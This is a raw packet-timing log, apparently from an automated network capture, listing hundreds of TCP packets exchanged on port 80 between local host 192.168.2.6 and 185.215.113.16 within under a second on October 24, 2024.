Oct 24, 2024 04:58:11.482430935 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.482445002 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.482476950 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.482501030 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.482501030 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.482563019 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.482570887 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.482573986 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.482588053 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.482608080 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.482635975 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.482635975 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.482676029 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.483299017 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.483310938 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.483330011 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.483393908 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.520490885 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.520519018 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.520533085 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.520545959 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.520550966 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.520559072 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.520571947 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.520582914 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.520586967 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.520598888 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.520611048 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.520616055 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.520627022 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.520632029 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.520639896 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.520648956 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.520735025 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.523638964 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.523693085 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.523703098 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.523751974 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.523763895 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.523775101 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.523901939 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.523902893 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.523902893 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.523902893 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.523902893 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.524188995 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.524199963 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.524210930 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.524249077 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.524286032 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.557538986 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.557559013 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.557571888 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.557589054 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.557601929 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.557604074 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.557616949 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.557629108 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.557634115 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.557645082 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.557670116 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.557689905 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.558001041 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.558011055 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.558057070 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.558418989 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.558430910 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.558440924 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.558473110 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.558506966 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.558543921 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.558635950 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.558682919 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.558787107 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.558796883 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.558831930 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.558839083 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.558877945 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.559065104 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.559076071 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.559119940 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.597575903 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.597595930 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.597610950 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.597640991 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.599247932 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.599261045 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.599271059 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.599425077 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.599425077 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.599704981 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.599756956 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.599769115 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.599809885 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.599828959 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.599834919 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.599842072 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.599853992 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.599885941 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.599917889 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.600302935 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.600313902 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.600323915 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.600337029 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.600347996 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.600361109 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.600363016 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.600363016 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.600374937 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.600390911 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.600390911 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.600418091 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.600445986 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.639729023 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.639748096 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.639759064 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.639772892 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.639825106 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.640176058 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.640188932 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.640228033 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.640958071 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.641016006 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.641026974 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.641038895 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.641051054 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.641144991 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.641145945 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.641145945 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.641249895 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.641278982 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.641289949 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.641304016 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.641340017 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.641405106 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.675725937 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.675859928 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.675873041 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.675884962 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.675896883 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.675919056 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.675920010 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.676007986 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.676012039 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.676031113 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.676043034 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.676054955 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.676068068 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.676088095 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.676088095 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.676110029 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.715897083 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.715926886 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.715941906 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.715949059 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.715970993 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.715980053 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.716871023 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.716897011 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.716912985 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.716941118 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.716972113 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.716973066 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.716985941 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.717008114 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.717015028 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.717022896 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.717029095 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.717041016 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.717051983 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.717061996 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.717082977 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.717807055 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.717820883 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.717834949 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.717853069 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.717866898 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.718099117 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.718112946 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.718127966 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.718141079 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.718166113 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.758236885 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.758258104 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.758270979 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.758281946 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.758294106 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.758302927 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.758348942 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.758348942 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.758544922 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.758594036 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.758671045 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.758718967 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.792027950 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.792048931 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.792061090 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.792071104 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.792088985 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.792094946 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.792100906 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.792114973 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.792128086 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.792140961 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.792144060 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.792186022 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.792449951 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.792467117 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.792479038 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.792490005 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.792504072 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.792526960 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.792536020 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.792538881 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.792547941 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.792560101 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.792560101 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.792573929 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.792587042 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.792737961 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.792841911 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.792860985 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.792870998 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.792915106 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.792926073 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.792928934 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.792990923 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.793195963 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.793205023 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.793251991 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.793251991 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.793343067 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.793378115 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.793390036 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.793417931 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.793425083 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.793430090 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.793462992 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.793463945 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.793474913 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.793486118 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.793498993 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.793507099 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.793513060 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.793535948 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.793567896 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.793735027 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.793745995 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.793757915 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.793770075 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.793790102 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.793819904 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.796438932 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.796448946 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.796502113 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.796878099 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.796896935 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.796906948 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.796926022 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.796956062 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.833311081 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.833326101 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.833338976 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.833369970 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.833405972 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.834076881 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.834134102 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.834155083 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.834165096 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.834175110 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.834203959 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.834233046 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.834351063 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.834362984 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.834373951 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.834384918 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.834395885 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.834427118 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.834427118 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.834839106 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.834850073 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.834860086 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.834873915 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.834892988 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.834927082 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.834927082 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.837003946 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.837021112 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.837063074 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.875493050 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.875519037 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.875535965 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.875550032 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.875560999 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.875576019 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.875611067 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.875777006 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.875796080 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.875808001 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.875838995 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.875869036 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.879266024 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.879276991 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.879287958 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.879327059 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.879379034 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.879391909 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.879431009 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.879475117 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.879487038 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.879498005 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.879524946 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.879542112 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.911417007 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.911458015 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.911468983 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.911474943 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.911509991 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.911511898 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.911511898 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.911523104 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.911535978 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.911576033 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.911611080 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.911777973 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.911823034 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.911860943 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.911873102 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.911885023 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.911911964 CEST	49996	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:58:11.911916018 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.911928892 CEST	80	49996	185.215.113.16	192.168.2.6
Oct 24, 2024 04:58:11.911945105 CEST	49996	80	192.168.2.6	185.215.113.16
